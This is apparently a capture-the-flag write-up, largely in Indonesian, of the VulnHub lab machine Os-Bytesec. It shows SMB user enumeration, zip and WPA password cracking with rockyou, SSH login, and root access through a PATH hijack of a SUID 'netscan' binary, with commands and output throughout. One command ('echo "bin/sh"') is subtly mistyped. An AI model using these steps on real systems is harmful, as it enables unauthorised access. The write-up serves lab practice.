[VulnHub] Os-Bytesec WriteUp
For English version of this write-up, click here.
Information Gathering
nmap
nmap -sV -sC -p- bytesec.vh -oN initial.nmap -v
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 5ECF6AFD7D00CCBE6B3C7AA8FD31BDE8
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Hacker_James
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2525/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 12:55:4f:1e:e9:7e:ea:87:69:90:1c:1f:b0:63:3f:f3 (RSA)
| 256 a6:70:f1:0e:df:4e:73:7d:71:42:d6:44:f1:2f:24:d2 (ECDSA)
|_ 256 f0:f8:fd:24:65:07:34:c2:d4:9a:1f:c0:b8:2e:d8:3a (ED25519)
MAC Address: 08:00:27:B3:78:46 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Server menjalankan web server di port 80, dan SMB di 139 dan 445.
dirb
Saya sempat mencoba dirscanning dan menemukan file news.png
di /img
.
Hmm pakah mesin ini vuln BlueKeep ?
BlueKeep is a remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (microsoft)
enum4linux
Karena server menjalankan SMB, maka kita dapat mengumpulkan informasi yang berkaitan dengan SMB dengan tools enum4linux.
enum4linux adalah tools untuk melakukan enumerasi sistem Windows dan Server Message Block (SMB/Samba) untuk mendapatkan informasi mulai dari domain, OS, versi SMB, hingga user yang ada dalam suatu domain.
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\sagar (Local User)
S-1-22-1-1001 Unix User\blackjax (Local User)
S-1-22-1-1002 Unix User\smb (Local User)
smbclient
Dari hasil enumerasi enum4linux diatas kita mendapatkan 3 user, setelah dicoba satu-satu hanya user smb
yang bisa login SMB.
smbclient //bytesec.vh/smb -U smb -p
smb: \> ls
. D 0 Mon Nov 4 18:50:37 2019
.. D 0 Mon Nov 4 18:37:28 2019
main.txt N 10 Mon Nov 4 18:45:38 2019
safe.zip N 3424907 Mon Nov 4 18:50:37 2019
Download file save.zip
saja (karena ternyata main.txt
cuma file txt isi kata “helo” doang).
fcrackzip
Karena file save.zip
ternyata berpassword, kita bisa bruteforce passwordnya dengan menggunakan tools fcrackzip.
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip
PASSWORD FOUND!!!!: pw == hacker1smb:
Isi dari safe.zip
adalah satu gambar dengan nama secret.jpg
yang gak ada “secret-secret”–nya dan file user.cap
.
Setelah lihat-lihat isi user.cap
ternyata banyak sekali paket deauth yang tercapture, maka dapat disimpulkan ini adalah file capture-an dari bocah yang mau ngehek wifi pake aireplay-ng
. Karena asumsinya itu adalah file three-way handshake dari airodump
/aireplay
, maka kita bisa crack password yang tercapture dengan menggunakan aircrack
.
aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
# BSSID ESSID Encryption
1 56:DC:1D:19:52:BC blackjax WPA (1 handshake)
.
.
Aircrack-ng 1.5.2
[00:00:14] 83800/7120712 keys tested (5232.31 k/s)
Time left: 22 minutes, 24 seconds 1.18%
KEY FOUND! [ snowflake ]
Master Key : 8B A6 3F 95 1C E3 00 CA 30 C2 6E 63 59 61 35 42
AB F7 73 5C D7 AD 3A 10 DB 21 51 64 DC 59 C6 8F
Transient Key : 8E CC 35 6D EF 71 B7 2D 8D D5 03 3E 0D 5F 13 87
BB 50 D3 85 31 BB 25 5A E7 AF 09 0D 85 42 6A 54
60 CB 7F 40 7A E8 95 D5 A2 15 B1 19 66 17 64 CA
7B FE 3D E6 66 6C B8 35 61 67 20 B2 8A C1 00 83
EAPOL HMAC : 9D 5D 3B 71 C9 9E 71 31 58 38 53 A7 92 1C C5 48
Lalu apa informasi yang kita dapat? ESSID user.cap
bernama blackjax dan key bernama snowflake
. Hmm.. SSH!
Exploitation
User Flag
Dan ternyata kita berhasil login berdasarkan informasi yang kita dapat dari file user.cap
tadi.
cat user.txt
_ _ _____ ______ _____ ______ _ _____
| | | |/ ____| ____| __ \ | ____| | /\ / ____|
| | | | (___ | |__ | |__) |_____| |__ | | / \ | | __
| | | |\___ \| __| | _ /______| __| | | / /\ \| | |_ |
| |__| |____) | |____| | \ \ | | | |____ / ____ \ |__| |
\____/|_____/|______|_| \_\ |_| |______/_/ \_\_____|
Go To Root.
MD5-HASH : f589a6959f3e04037eb2b3eb0ff726ac
Root Flag
Hal wajib yang perlu dilakukan untuk melakukan privesc di sistem Linux adalah melakukan enumerasi dengan linenum.sh. Cari direktori writeable dan jalankan file linenum disitu.
[-] SUID files:
.
.
-rwsr-xr-x 1 root root 7432 Nov 4 20:00 /usr/bin/netscan
Salah satu poin yang cukup interesting yaitu adanya file/program netscan
di /usr/bin/
yang mempunyai flag SUID/SETUID
, flag tersebut berarti kita dapat menjalankan program tsb dengan mendapat privilege/permission sebagai root. File netscan
menarik karena file/program tersebut tidak ada pada mesin pada umumnya.
Netscan
Rupanya program netscan
hanya berupa “script” dari tools netstat
.
blackjax@nitin:/tmp$ netscan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:2525 0.0.0.0:* LISTEN 1098/sshd
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 861/smbd
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1041/mysqld
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 861/smbd
tcp 0 188 192.168.43.97:2525 192.168.43.192:46168 ESTABLISHED 4133/sshd: blackjax
tcp6 0 0 :::2525 :::* LISTEN 1098/sshd
tcp6 0 0 :::445 :::* LISTEN 861/smbd
tcp6 0 0 :::139 :::* LISTEN 861/smbd
tcp6 0 0 :::80 :::* LISTEN 1129/apache2
Maka dari itu dapat diasumsikan bahwa netscan
hanyalah skrip buatan netadmin agar netstat
hanya menampilkan koneksi established
. Logika diatas dapat dimanfaatkan untuk privilege escalation.
PrivEsc
- Pindah ke
/tmp
, karena attribute direktory/tmp
drwxrwxrwx.cd /tmp
- Buat file bernama “netstat” dengan isi “/bin/sh”
echo "bin/sh" > netstat
- Tambahkan direktori
/tmp
ke environtment variable /$PATH
dengan urutan paling awal.export PATH=/tmp:$PATH
- Jalankan lagi
netscan
Setelah netscan
dijalankan lagi, ternyata kita berhasil mendapat user root dan flag root
____ ____ ____ ______ ________ ___ ______
/ __ \/ __ \/ __ \/_ __/ / ____/ / / | / ____/
/ /_/ / / / / / / / / / / /_ / / / /| |/ / __
/ _, _/ /_/ / /_/ / / / / __/ / /___/ ___ / /_/ /
/_/ |_|\____/\____/ /_/____/_/ /_____/_/ |_\____/
/_____/
Conguratulation..
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
Author : Rahul Gehlaut
Contact : https://www.linkedin.com/in/rahulgehlaut/
WebSite : jameshacker.me
Bingung kenapa logika tsb bisa jalan? sama saya juga
Ok jadi kunci keberhasilan privescnya adalah perubahan environtment variable / $PATH
. Kita merubah netstat
asli yang berisi tools untuk menampilkan koneksi aktif menjadi “netstat
” palsu yang berisi command untuk memanggil shell. Umumnya dengan hanya merubah netstat
asli menjadi netstat
palsu kita juga tidak akan mendapat user root. Namun, karena kita menjalankan program netscan
yang memiliki flag SUID
, kita berhasil mendapat akses shell root.
Sederhananya, kita merekayasa “arah” pemanggilan file netstat
pada program netscan
yang seharusnya memanggil /usr/bin/netstat
menjadi memanggil /tmp/netstat
yang berisi perintah untuk memanggil shell. Ditambah dengan flag/attribute SUID
yang ada di program netscan
, maka yang terpanggil adalah shell root.
Sekian write up kali ini, see ya next time